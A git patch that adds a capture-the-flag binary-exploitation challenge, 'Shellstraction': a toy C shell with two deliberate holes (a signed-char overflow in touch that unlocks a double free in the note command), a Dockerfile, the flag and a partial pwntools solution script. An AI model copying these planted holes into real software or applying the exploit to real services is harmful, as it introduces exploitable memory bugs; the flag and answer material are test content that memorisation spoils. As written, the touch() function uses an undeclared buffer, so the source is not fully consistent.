From 95e01610353430f59adb1f26f86dc2b6da2f545b Mon Sep 17 00:00:00 2001 From: AlwaysGuilty Date: Thu, 17 Mar 2022 19:38:02 +0100 Subject: [PATCH] added shellstraction --- .gitignore | 1 + challs/shellstraction/Dockerfile | 17 + challs/shellstraction/README.md | 16 + challs/shellstraction/chall/app | Bin 0 -> 23384 bytes challs/shellstraction/chall/app.c | 443 +++++++++++++++++++++++++++ challs/shellstraction/chall/flag.txt | 1 + challs/shellstraction/challenge.yml | 21 ++ challs/shellstraction/sol.py | 23 ++ 8 files changed, 522 insertions(+) create mode 100644 challs/shellstraction/Dockerfile create mode 100644 challs/shellstraction/README.md create mode 100644 challs/shellstraction/chall/app create mode 100644 challs/shellstraction/chall/app.c create mode 100644 challs/shellstraction/chall/flag.txt create mode 100644 challs/shellstraction/challenge.yml create mode 100644 challs/shellstraction/sol.py diff --git a/.gitignore b/.gitignore index 5b07224d..e7d29604 100644 --- a/.gitignore +++ b/.gitignore @@ -2,3 +2,4 @@ .DS_Store .vscode .ctf +.gdb_history diff --git a/challs/shellstraction/Dockerfile b/challs/shellstraction/Dockerfile new file mode 100644 index 00000000..5dfbc5fb --- /dev/null +++ b/challs/shellstraction/Dockerfile @@ -0,0 +1,17 @@ +FROM ubuntu:18.04 + +EXPOSE 1337 + +RUN export DEBIAN_FRONTEND=noninteractive && \ + apt-get -y update && \ + apt-get -y install socat coreutils + +COPY chall/flag.txt / +COPY chall/app / + +RUN chmod 555 /app && \ + chmod 444 /flag.txt + +CMD socat -T 30 \ + TCP-LISTEN:1337,nodelay,reuseaddr,fork \ + EXEC:"stdbuf -i0 -o0 -e0 /app" diff --git a/challs/shellstraction/README.md b/challs/shellstraction/README.md new file mode 100644 index 00000000..2b12c00a --- /dev/null +++ b/challs/shellstraction/README.md @@ -0,0 +1,16 @@ +# Shellstraction + +This is a simple interctive shell written by Red_Epicness and improved and worked upon by AlwaysGuilty. + +There are 2 intended vulnerabilities built in.\ +If we take a look in the `touch` command, there is a local variable `signed char offset`. By overflowing it, we can control the `guard` global variable. That allows us to execute code inside `eton` function. This is where a simple double free can be performed. + +## Compiling From Source + +`gcc -fstack-protector -o chall/app chall/app.c` + +## Solution + +Solution in [sol.py](sol.py) + +Flag: `dctf{D035_4nyb0dy_l1st3n_T0_Ur14h_He4p_1093875hv914387v}` \ No newline at end of file diff --git a/challs/shellstraction/chall/app b/challs/shellstraction/chall/app new file mode 100644 index 0000000000000000000000000000000000000000..7817c53c04b73c2b15cf5ab5487c5da7b1309989 GIT binary patch literal 23384 zcmeHPdw5jUwcnF)AR;6YL8JH>kysQN5?%rtO@NUTFE1g86?GUglVoHv6XyYhilQON zbcl`ptkTE5((1Kd`_S6fR~4clL2tF#syA(YM5}hD@sav!^rCZrYwxuu=L{L|_ucP) z_mBH!E3?k}t;gPb?bpdZ=jlrTyZRZPZOt# zk>E#2Ov$SifmEfY0y`~YybzS^?qzu{J%#l&)g>fKcKOooF-oGTC{;Y!8Fa~fE*(2w z>1nFv+59S$T;$L$=~M_!t#%ZfRF$$zEw$4M3ILLmlqhkzC>#V0u-yRLY1+$y&{W5h zVnY88a6EJABFHFdO1hL*ydCq=^^r=+9z`Elu+UW7T?#v0bXNIFqQkzD^UD{PGA_TS zTwO6e7+61N*7TrnS}+ibZ=SY!?wo0JX1Sta*9=*2YCa0-;$^GF`h^c2cU|kXr@Bfy z*S+@4{0F@!JRG5NQyIt~=};nl&Q4yR37+JtUOyDu9HoM=a{Qw-<4;>3C#O2_I!guDuXXnA^!@m=<+(i9gDF5s7;MBc_(vRlBf0hT|k_Z28 z9(-{gJeUW+F%SMs9{jUB_=kCLS04PbJaMLeHdNg1$%Dhqkoq*Q4dv%+dGNz|@R#!7 z`}5!>d2oN8`o5Y+e^MTNK_2|qdGI@dA16){&P#EDr0280;F|KtO$`7@zamFpG&BU` z(Iyd%Me18xg@1D(CL(^X&liY@hH#5NBsO^gwfG~Ea707{jUjK4ltZN55|2fp71 zo@mTlzrj=Aw87Kh4FpM4-{g&m<_+X28uJB0q9qat#TrB)>W#%($w?6IoBhpEe+&+g zLn!PChU>ktKsY4oo7gZMkBMe)5CTEvA=KlkkF~b=J?lwb)T6vH(dduWZ}JImEF7R~ z%yxbe4f_2pq`leeX$YX?fh_=0(`G_3GuBhFBQa027sYFc`2B)FnjPne#Y<`zEcDE9 z&CFiS%3jTI%@&^8x}_eUKjLo;L}UI)-O`1@aL8ZhT_5zrd1G@p#LhiRbx1|DN&){j zc%_iStc3VnsTCWM^+5A*p(sV4)D!LTfxuW=;ZA03yyOeTWai^12aX}%F7TA}daL`B zI9}oXyq;>jiw9w8PJhyT&vIo)YXUFz66m$y$0-&0o3h}1OCj-o3x1kKf53uIw%~d^ zP@c2~>7@HT;d)&nS=kDuF$#o3AOWWZr|9c6#ex@V5VXRA>$RT5b1k@9AC*zH1*g1q zGA+1{HOW?3a5PvpU2efgXHg;6S@2^mc#{R^TRtgmvEb-1*|gb$7iUo+wps8J3%=8W zms;>n3vQjicUy4oYSL{dYQDFs4qp#PU^oK*yAd$k z-Yqhd#;X?zVYYY03NnYywgW|U_oz~4_L~r8%HP6o$?4U&BEE@)>D~-d`JafVB`1AY z^1mmZmYQ^zx!kw49|oCI2Atw8W&hN&Y_KX?jSvNd8B} z(~^>2C;9IYPfJO9h2+0YJS`#VYRP|-cv?Er6_US+cv>>jPRVZ}o|cMqspKQX(-M&u zlD~#{S{l;*Ujis!Pkbryy^_Czc)A5hAC~+|;%R9}cS-&d;%P}pKOp%9#M7-odXMDi z6HiM+x>NEqh^HkXy-o7x5Kl`%x<&Gnh^HkWy-xBc6HilrdWGc25l>Tox?1w1iKnSP zT_O1b;%SOcJ0<`5h2UvwPnSym%_<=pI>F0S`Ce_}g{#fPn`YZv{VVF0bQsT~u4c#B zdP%BYL8LPiZimgsC8sYUN!62ZXm%Kn5t%m-n}F^Wf}Fb7F`3?y)3=f1{Y;^MtJI(U zO(JK1X(sy3C*Qxwd~%@BbR0Ba_%b#g4&3aZDAU^@^U?O(s;-5dh)-W_wpE=4Enz0! zj*T&sRWpF6rlG}BP53!z)Pi?hrR_9Le*?nRu)#nmO>8~Vw)Mzy@v$h?Z>nLw7ZK@v zWHZ zBQv?W$8@}40vi7`#ME$S6P_4T&^Mi{CcPd?8bx^wXs?P45D;>aG+qbL*5ybTFXN)` zpW3#5?1+z~V#KE4TEyq2+7Xtos>zADHQ`{lxd$8&o$o$Uvg=ofMxTS5Cuv+mnGQJO zPIQ+~Wfi(pKmSk4#yIZ+Dqwdij7avKW+uljqY@{L-$Cs$AJsbXJjs_sz1w&jD5cJ; zRKs^v^-V@$ZztzT<9br*nEeH^C$+`0fbp47{X3QD$52(-zDk)TjXBa~cgm&w zy+%qm;kxfU2rHGd9(MLQa2c4Sk(sajuOZbj@V=J}Yr%CJ_ajD>RHsQAe}*n~$I<%; zP1UK4Ut$jvz@nfRg3#oWG-5DM9E8gbxO_yKTnfJ^&X##9(+6cXCTF8NCuXgr5mtF! zKN0FtnFD!Rob@z{Ox;IlQSPfqx{ug~`+PD;jwmo?_7k#3zaPkC+T2GlQItYsp8Lpk zPs9DYb5&_3%hEiCP*LJRsLJg_SKLPnaO(Ac$QnGtHvRC}ZS2rCJiJf?l#RS3jeAg6 z3L5poZ>G!yzsrF*Nnx0&MeLkZ5_u#=!k8&rt!gb<{TLcBsOEe(gYB!` zdk9&;?=?VE6G#KCdJcf8WD-**W7)(FHdVo{dr<$rV-UB5@fvfAIt((ZPe>1m4Vo0^o@l+AYKU+VuMtKS0sHl?pr&zA+f zu3L?sAAU@IW(}Hw67ClUeCAZuMlmCGCXDr+$$@P-t=H||Nj3-FH)Bv;iYU=~K!fTk zWS-g$$LX=ujXK<&a{b#Yb3nb{qdeU^sr>0K{3P8wZIi`Via1RcC3{!jY<4W|G#$^< z#F6-q)FhbZs=qdy)!}+2Y%=us1lLj@D=U2R);W#lmJ z#yxZDIXFSXH_TEx{{l9Z_(*k-N_3;XdEG`iD5W;kBWbLH-+AtxCA%uohqrCLS+rsZ zoCA>RNCBX{cECk$fS&@U1N?4vV(V|sM7#@&%W9WYx_wBEq+%tE8xWm+ zD5gk#LJkwgYcnrxseee4}W3Zb_?7J$;2aOhxlvCvc6VrZs5{18>ZFh2|3=F;N< zT#72BP60~O?EyqEY3#)>!ncVk*X`~_%>`(Rs9JBUppI$rY^>&g!fKCF{5z43v2PKP z!q%l^RP^Xq;ZYG5Zvfg!`4Yt*>O_qvc>r_hQaMlR*PF*$98q2%yxs zE!qAUBuQf}xVDtT)_a!&lfAcN_N~a3OsPJo4)mm$h6#Ivl9iOGR35`}Wo_?c2n7vRskP^4mlB z*ug$1%L^#W)j7+4R3d52SBeRv5*L)^bATyzyL&KH5YWe|vRDDer4Ig` z;@{J@wMUe+ufrenXvjA!D1z?(q;W6n)d9U5*BB(T=&wVBcPtE1$%jZcY1~f)(VmKi z>j!)%@mMgSocgGr8sFF@y>_P#fKC4ccPzkmO3XcwH1H5ZmWXmXN9FW-DRhw2U1Xmy zt|Z;0v6=|yGyvF5d`H!P09oQ!<|QheE_c#ss|rD-f_ydpE6y^=lt%%=DZDehN_zf_79thn8#_&ZYko>Kg# zQY>Y~wKm23F*&8LRf=Av_&%3$hD~t|DVj=gu2OuK6_2qg-cE|AE5#C}_+wV=ecu|M z|0Kmv(SK0uccz1M%zhr*C={NDZHgmlwSG=1KA{vJWW`%-ino*E-AeH`rP#rWex*1@ zwG7>n^j(j9LrSZewJx%0mC*gq<QH!I-49_OaGS@5#z?j?I`h z{-VTRYck_sH{13*%z3ZI|3-UzYp<%gvgWFqt7|;i z0}-^-C-(qtyM6$N({KcaBQP9+;Rp;zU^oK95g3lZa0G@U@c%9X4*5==5Ov|Ov)LPJ zb;iOQ{Gq5znEqgkv)O-!SQd^s{h@HYu?cK*IMV9$Zp53B^nRdASf$=bW4zfPibb7x zmC}h_DERX^L*bZTV9%*Vg|4nC5Ov~zuQM8GZVCFGazD!15(zg(yv@=w>fIO!H9GOC zW;Bd<9i@lp83ONeiiPxwBniC|b-7$r0KZedI_dY}jnC%rM!#4|gw!bWsMd-)mDuMJ z(WdYwRi4_=M!ZhxbLzq$UG{R{Xi**&PW+oL>U{z)ZsLv5P@`Y8;5|+CUT6?d31hxbh1;NB{qrW@fhAYMNyHDAG>pSg)|~+L%CSU z+w2#cn!?`ZfM^OwW0J>9ps{#Vz5FU)QWgICrm&DrusXCM6y6ll?SiHgj){fm(;v_$ z;NRreGMN$hD}Q`%CUY+6WY8CZAM-{gvk3gzpgzz;Z)P&vK_~qslerso8R!Aft)Op# z{uFcs_DI&eoyklF-2qw+x({?6=+bwv3k!N9=pNAdf6ZjNK<@$V1uaNns~sCm`_q|> z6LfMP>_P9wMv@P71pe^;Dd>2Vjgn)_O5xaC>XH2I zdE=n}SAgFHIW{Z??XMY>9|3&pSIAF6x%NQ*6I=Q2k>x9c?FGQ6qFrtNfm7KohwMVg z@Ni}@@7Q48n;~BV`7Ks?K_XkX-H<;G`7EnEJZS$2zjxC25cG`|r7?BUShW7@!UBhwvBZ)bWB(}$QIWco7GcbI<4bmTadzy8(V{ViU&aK3ZOBLDh;H{`6W zaLsU4PMdQ!UpZ$~%&4rWtgO&hL(@XMPomE?uxij3k^1|5J6}hiHpJd?~EYHL&ZC6OZ7fm)ul{k3{u%qgGiV{`%MRnjN1Y zh8jPG*iq5njoS4w>#VRM>bg*riK0t~!Uw;Lwn__yo^1zFnrB9czsq+Y2T}F+Cw)t+ z`<0W0%kt=d9e4razapny)-t{=2M;l>*A=ibZO5+ztHxZem!1bZC4O`~9|lhO>hE-= z6a4I#`bW3Ro4|*vZ@zk^q@Qu(alEmXn}+g3FS1Z!a@&0rD&oNEliTiU9X-07XUd8n z-4EwTKS%e6490l@PFKktM@yhj-@Q*+sY*XW5wQ~ZIEovu(=t2A)-(PiUbyA{2k>ho z&c+t<4dC*-diKxDl(>=o?BfMr?t{SY<~)ABp9iOX94comFQ9V22Y#N&qyGYMr=@)Q zlHPtE>b!sm;^rJ`9AQ4q>9W$*@p!;S?9Aimt~~g!^Wb#fL~%HrlWz~>)m(mEo>%ku>6du1 z*vjoL_wi7b&-3VyMLSYIxrA@9xd=Ctp6Lnk-UX{t<2-U1vs^P?mWLWkA5d`s;{V1 zj`euIBai-lz@1zMD|wXs6qE^lU!!FQrT@WoQ~Q5O;wOo9+`fm{;7`D*U2fv~&SU%y ziEFQe^b^+KbEd-N-X|^%WHi)xEX#vWm3XoElG{b@)51>y+PM_*DdPC(oHug5PR>L> z1DMHv%DF$ty?7X1!1%q~-{c-R@EYJ0|5v!bft6_q>$m3g&(*B2&&ksIYjHv4%pLEI z?8kYk@+Sr0!d3N=SfwkBQ&zm|1D=?-5l6tp zqOo{GgR5Q)p2*^fHGAsmOqM7#ePK^yFudLy^!Q@oNYvwvZx-~zf6yQE`&<=6YtW%F z0gpEl@wR&KfHu;KGh*=k(Bq3YH@CvX!g-(>v#EMpT2LI1=i-$$OWhv#vPB*o1Y=k8 z3D2UhFRNKvyU;F?htdGTfmNp%6 z|ASL}Z0d9hPfM!}l8=OKh32U^Xh|xY@&uh z(CY@^8CQPdQGbLFI?75Z=z~wc)qzJgAwQ3nB?^R; zBlSK3T!riL)e1lKwpqdDrY4*}q_WfPKX{;#O&KEqflwzB@exQidC-ePj5hNDPc}*J zSw@^2RJ$B5aki5O_4bJtZ;Vcok`L4Q5UCtj^2{abqBLCiSSOo`I*!T) zp`Jk;v4kFrH!SD`Cw~kN_t)dNsm2JphR^;SpH6mKAB}QN<-tz$oL}hXmQVRT^6d#6 zU4;XsYWfRfCTsFXVY*tn>QwUeIwK?Wp4;qUo+N7^=VwXSCB3v|SxG*!j*5mUk-?V^_ zp_&D?(`W{kvL-K15_9=lL-40)ETSYE@lp!Ck|EWY@jw>w2fbv#S1rMqaLKOW!lkP* z3>MuIzcdp=DJ+Mx%iqLvZ<7yBG^b3}B&;m-HFCfUAN9yS93#&t98C)@bQIyDH*PSy z53#8I4)$I?{q@3L6x>T9BO+edq<+FtK>X*!vdED5&(wuBGlZ1#Hp zLQ|(roAv_iX%Sd_6%y9@>-{rL^>z`Kb(!?vG0Y0uN1#1tZLjy)G^P7LS8Vv0rYkR$Kr|A+_*5%iFnr?uc_M|nh_xCidX8YXo zGc2~?f?}%e^**4c{j8|-&#nJ~s-|1%I^S4)l|($V{}`rO!Dea&n75^PE=_Ie+$zlyvK_BX{1^4k6l2&nJz zFwgGy>2rB|Iexl-YCGMIyJ1Tz+FtJm_gn-JX^JA*Uv01H-ypHtXZMY(l}QojuN`PR zO+U)9*ZU4dHOfMlGuK}8pW%Xh>GJFI2+P=B&%;{ZsV|s*2}(ue?v|Bm`>$mYb)l +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +// AG +char* user; +char* host; +char path[200]; + +int guard = 0; +char* notes; + +// RE +int token_count; +char* tokens[50]; // token pointers array limited to 50 pointers?? +char* sh_name; +int statp; +int background = 0; +int file_in = 0; +char* file_in_name; +int file_out = 0; +char* file_out_name; +int lastex = 0; + +// sighandler +void process(int s) { + switch (s) { + case 17: // SIGCHLD + wait(&statp); + return; + } +} + +// stores pointers to the first characters of tokens/multitokens (tokens wrapped in quotation marks) in the global tokens array +// this function does not check for tokens array bounderies +void tokenize(char* line) { + token_count = 0; + int newtoken = 1; + int multitoken = 0; + if (line[0] == '#') { + return; + } + int len = strlen(line); + for (int i = 0; i < len; i++) { + char curr = line[i]; + //printf(":%c: %d %d %d\n", curr, token_count, newtoken, multitoken); + if (newtoken == 1) { + // check for max token count + if (token_count > 50) { + puts("Too many tokens."); + return; + } + + if (isspace(curr) != 0) { // isspace checks for white-space character, returns nonzero if curr is a white-space + line[i] = '\0'; + continue; + } + if (curr == '"') { + multitoken = 1; + tokens[token_count] = &(line[i+1]); + } + else { + multitoken = 0; + tokens[token_count] = &(line[i]); // it stores address of the first char of the token in the tokens array + } + newtoken = 0; + + token_count++; + continue; + } + if ((multitoken == 1 && curr == '"') || (multitoken == 0 && isspace(curr))) { + line[i] = '\0'; + newtoken = 1; + } + } +} + +void name() { + if (token_count == 1) { + printf("%s\n", sh_name); + fflush(stdout); + } else { + strncpy(sh_name, tokens[1], 100); + } + lastex = 0; +} + +// my favourite function, thanks Mitič, very cool +void help() { + printf("Help me!\n"); + fflush(stdout); + lastex = 0; +} + +void whoami() { + printf("%s\n", user); + fflush(stdout); + lastex = 0; +} + +void hostname() { + printf("%s\n", host); + fflush(stdout); + lastex = 0; +} + +void eton() { + if (!guard) { + puts("Not enough memory available."); + lastex = -1; + return; + } + + if (token_count < 2) { + puts("Not enough arguments for command note"); + lastex = 0; + return; + } + + if (strcmp(tokens[1], "help") == 0) { + puts("This is a simple shell program for saving personal notes!"); + } else if (strcmp(tokens[1], "add") == 0) { + if (token_count < 3) { + puts("Not enough arguments for command note"); + lastex = 0; + return; + } + puts("Creating a note..."); + sleep(1); + notes = (char*) malloc(50); + if (notes != NULL) { + strcpy(notes, tokens[2]); + } + puts("Note created"); + } else if (strcmp(tokens[1], "remove") == 0) { + puts("Removing notes..."); + sleep(1); + free(notes); + puts("Notes removed."); + } else if (strcmp(tokens[1], "show") == 0) { + printf("%s\n", notes); + } else { + puts("Invalid argument for command note"); + } + + lastex = 0; +} + +void exit_shell() { + if (token_count == 1) { + exit(0); + } else { + exit(atoi(tokens[1])); + } +} + +void status() { + printf("%d\n", lastex); + fflush(stdout); + lastex = 0; +} + +void print() { + if (token_count > 1) printf("%s", tokens[1]); + for (int i = 2; i < token_count; i++) { + printf(" %s", tokens[i]); + } + fflush(stdout); + lastex = 0; +} + +void echo() { + print(); + printf("\n"); + fflush(stdout); + lastex = 0; +} + +// cd +void dirchange() { + int out = 0; + if (token_count == 1) { + out = chdir("/"); + } else { + out = chdir(tokens[1]); + } + if (out != 0) { + lastex = errno; + perror("cd"); + fflush(stdout); + } else if (getcwd(path, sizeof(path)) == NULL) { + perror("dirchange"); + fflush(stdout); + lastex = errno; + } else { + lastex = out; + } +} + +// pwd +void dirwhere() { + if (getcwd(path, sizeof(path)) != NULL) { + printf("%s\n", path); + fflush(stdout); + lastex = 0; + } else { + lastex = errno; + perror("pwd"); + fflush(stdout); + } +} + +// mkdir +void dirmake() { + int out = mkdir(tokens[1], 0755); + if (out != 0) { + lastex = errno; + perror("mkdir"); + fflush(stdout); + } + else lastex = 0; +} + +// ls +// prints dir entries, not sorted +void dirlist() { + struct dirent *entry; + DIR *dir; + if (token_count == 1) { + char cwd[200]; + if (getcwd(cwd, sizeof(cwd)) == NULL) { + lastex = errno; + perror("ls"); + fflush(stdout); + return; + } + dir = opendir(cwd); + } + else { + dir = opendir(tokens[1]); + } + + if (dir == NULL) { + lastex = errno; + perror("ls"); + fflush(stdout); + return; + } + + char* dirs[100]; + int counter = 0; + while ((entry = readdir(dir)) != NULL) { + char* nm = (entry->d_name); + //printf("%s ", nm); + //if (strcmp(".", nm) == 0 || strcmp("..", nm) == 0) continue; + dirs[counter++] = nm; + } + if (counter > 0) printf("%s", dirs[0]); + for (int i = 1; i < counter; i++) { + printf(" %s", dirs[i]); + } + printf("\n"); + lastex = 0; +} + +// creates a file with a given path and only with read perms for everybody +void touch() { + int i = 0; + signed char offset = 0; + + if (token_count < 2) { + puts("Too few arguments for command touch."); + return; + } + + memset(dirs, 0, 100); + + for (i = 1; i < token_count; i++) { + // copy dir's name from tokens array onto the stack + // there is 50 tokens max + offset += strlen(tokens[i]); + + // create a dir with a given name + int f = creat(tokens[i], 00444); + if (f == -1) { + perror("touch"); + fflush(stdout); + lastex = errno; + return; + } else lastex = 0; + } + + if (offset < 0) { + guard = 1; + } + + printf("%s\n", dirs); +} + +int main(int argc, char **argv) { + signal(SIGCHLD, process); + + sh_name = (char*) malloc(100); + user = (char*) malloc(20); + host = (char*) malloc(20); + + strcpy(sh_name, "agresh - The AlwaysGuilty-Red_Epicness Shell"); + strcpy(user, "competitor"); + strcpy(host, "shellstraction"); + + if (getcwd(path, sizeof(path)) == NULL) { + perror("getcwd"); + lastex = errno; + exit(lastex); + } + + while (1) { + char* line = NULL; + size_t size = 0; + if (isatty(1)) { + printf("%s@%s:%s$ ", user, host, path); + } + int out = getline(&line, &size, stdin); // stores pointer to buffer to *lineptr and updates *n with buffer size, returns number of chars read + if (out == -1) { // failure or EOF + return 0; + } + tokenize(line); + if (token_count == 0) { + continue; + } + + + // should we run this program in the background? + if (strcmp(tokens[token_count - 1], "&") == 0) { + background = 1; + token_count--; + } else { + background = 0; + } + + // order of file redirection: outFile, & + + // redirect output into another file? + if (tokens[token_count - 1][0] == '>') { + file_out = 1; + file_out_name = &(tokens[token_count-1][1]); + token_count--; + } else { + file_out = 0; + } + + // redirect input from another file? + if (tokens[token_count - 1][0] == '<') { + file_in = 1; + file_in_name = &(tokens[token_count-1][1]); + token_count--; + } else { + file_in = 0; + } + + /* printf("\nTokens:\n"); + for (int i = 0; i < token_count; i++) { + printf(":%s:\n", tokens[i]); + } + printf("Modifiers: IN_REDIR=%d (%s) OUT_REDIR=%d (%s) BKGRND=%d\n\n", file_in, file_in_name, file_out, file_out_name, background); */ + + // creating background process + int cpid1 = -1; + if (background == 1) { + cpid1 = fork(); + if (cpid1 != 0) continue; // if not in child, continue + } + + // open files for redirecting input/output + FILE* old_stdout = stdout; + if (file_out == 1) { + stdout = fopen(file_out_name, "w"); + if (stdout == NULL) { + stdout = old_stdout; + perror("Output redirection"); + fflush(stdout); + continue; // are errors here handled correctly? i don't know. + } + } + + FILE* old_stdin = stdin; + if (file_in == 1) { + stdin = fopen(file_in_name, "r"); + if (stdin == NULL) { + stdin = old_stdin; + perror("Input redirection"); + fflush(stdout); + continue; + } + } + + // evaluating the tokens + if (strcmp(tokens[0], "name") == 0) name(); + else if (strcmp(tokens[0], "help") == 0) help(); + else if (strcmp(tokens[0], "whoami") == 0) whoami(); + else if (strcmp(tokens[0], "hostname") == 0) hostname(); + else if (strcmp(tokens[0], "status") == 0) status(); + else if (strcmp(tokens[0], "exit") == 0) exit_shell(); + else if (strcmp(tokens[0], "print") == 0) print(); + else if (strcmp(tokens[0], "echo") == 0) echo(); + else if (strcmp(tokens[0], "cd") == 0) dirchange(); + else if (strcmp(tokens[0], "pwd") == 0) dirwhere(); + else if (strcmp(tokens[0], "mkdir") == 0) dirmake(); + else if (strcmp(tokens[0], "ls") == 0) dirlist(); + else if (strcmp(tokens[0], "touch") == 0) touch(); + else if (strcmp(tokens[0], "note") == 0) eton(); + else puts("Unknown command."); + + // are we in the child process? + if (cpid1 == 0) { + exit(lastex); + return lastex; + } + // handlers for inpt/output redirection finalization + if (file_out == 1) { + stdout = old_stdout; + } + if (file_in == 1) { + stdin = old_stdin; + } + } + + free(sh_name); + free(user); + free(host); + + return 0; +} diff --git a/challs/shellstraction/chall/flag.txt b/challs/shellstraction/chall/flag.txt new file mode 100644 index 00000000..2d0eb22b --- /dev/null +++ b/challs/shellstraction/chall/flag.txt @@ -0,0 +1 @@ +dctf{D035_4nyb0dy_l1st3n_T0_Ur14h_He4p_1093875hv914387v} diff --git a/challs/shellstraction/challenge.yml b/challs/shellstraction/challenge.yml new file mode 100644 index 00000000..5036435d --- /dev/null +++ b/challs/shellstraction/challenge.yml @@ -0,0 +1,21 @@ +name: "Shellstraction" +author: "AlwaysGuilty" +category: "PWN" + +description: | + The oposite of inception is extraction. + `nc ??? ???` +value: 100 +type: "standard" + +files: + - "chall/app" +flags: + - "dctf{D035_4nyb0dy_l1st3n_T0_Ur14h_He4p_1093875hv914387v}" +tags: + - "pwn" + +state: "visible" +version: "0.1" + +ops: diff --git a/challs/shellstraction/sol.py b/challs/shellstraction/sol.py new file mode 100644 index 00000000..82e87b25 --- /dev/null +++ b/challs/shellstraction/sol.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python3 + +from pwn import ELF, process, remote, p32, gdb + +bin = ELF("./chall/app") + +p = process("./chall/app") +pid = gdb.attach(p, gdbscript=""" +b * touch + 134 +b * touch + 337 +""") +#p = remote() + +payload_1 = b"touch " +payload_1 += 50 * b"A" +payload_1 += b" " +payload_1 += 50 * b"B" +payload_1 += b" " +payload_1 += 12 * b"C" +p.sendline(payload_1) +#p.sendlineafter(b"$", payload_1) + +p.interactive() \ No newline at end of file